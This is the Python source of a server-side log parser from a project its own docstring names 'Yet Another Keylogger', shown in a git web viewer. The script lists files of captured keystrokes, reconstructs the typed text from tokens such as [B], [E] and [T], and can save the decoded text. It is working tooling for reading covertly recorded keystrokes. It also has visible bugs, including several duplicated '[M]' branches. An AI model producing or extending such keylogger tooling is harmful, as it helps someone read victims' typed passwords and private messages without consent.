aboutsummaryrefslogtreecommitdiff
path: root/server/ParserMinimal.py
blob: 4c1e9a7047d45cc81f12339d747258c326cb43b6 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import os
import sys
"""
Yet Another Keylogger by Alexander Pickering
Visit cogarr.net
"""
class parser():
    logs = {}
    pruneAll = False
    fname = ""
    def prunefile(self,file):
        if not self.pruneAll:
            print("A file of size 0 has been detected, would you like to delete it?\n1 : Yes\n2 : No\n3 : Yes to all")
            ans = input()
        if ans == "1" or ans == "3":
            os.remove("./logs/"+file)
            self.pruneAll = ans == "3"

    def showfile(self,data):
        output = list()
        pointer = 0
        chars = data.split("\x00")
        for char in chars:
            output.append(" ")
            if char == "[B]": #backspace
                pointer -= 1
            elif char == "[E]": #enter
                output[pointer] = "\n"
            elif char == "[S]": #space
                output[pointer] = " "
            elif char == "[C]": #clear
                ##Wtf does this do?
                pass
            elif char == "[T]": #tab
                output[pointer] = "\t"
            elif char == "[H]": #shift
                pass
            elif char == "[O]": #control
                pass
            elif char == "[A]": #escape
                pass
            elif char == "[N]": #end
                pass
            elif char == "[M]": #home
                pass
            elif char == "[M]": #left
                pass
            elif char == "[M]": #right
                pass
            elif char == "[M]": #down
                pass
            elif char == "[M]": #up
                pass
            elif char == "":
                pass
            else:
                try:
                    output[pointer] = char[2]
                except:
                    pass
            pointer += 1
        string = ""
        for bit in output:
            string += bit
        print(string)
        print("Type enter to exit, or \"save\" to save the above in /logs/parsed/")
        c = input()
        if c == "save":
            f = open("./logs/parsed/" + self.fname + ".txt",'w')
            f.write(string)
            f.close()
        else:
            pass

    def __init__(self):
        for root,dirs,files in os.walk("./logs/"):
            x = 0
            for file in files:
                if os.path.getsize("./logs/"+file) < 1:
                    self.prunefile(file)
                else:
                    self.logs[x] = file
                    x += 1

        print("Select a log file to view:")
        x = 0
        while(x < len(self.logs)):
            print(str(x) + " : " + self.logs[x])
            x += 1
        file = None
        while(file == None):
            file = int(input())
            try:
                self.logs[file]
            except:
                file = None
                print("Bad file choice, choose again:")

        filetoview = self.logs[file]
        self.fname = filetoview
        f = open("./logs/" + filetoview,'r')
        self.showfile(f.read())

p = parser()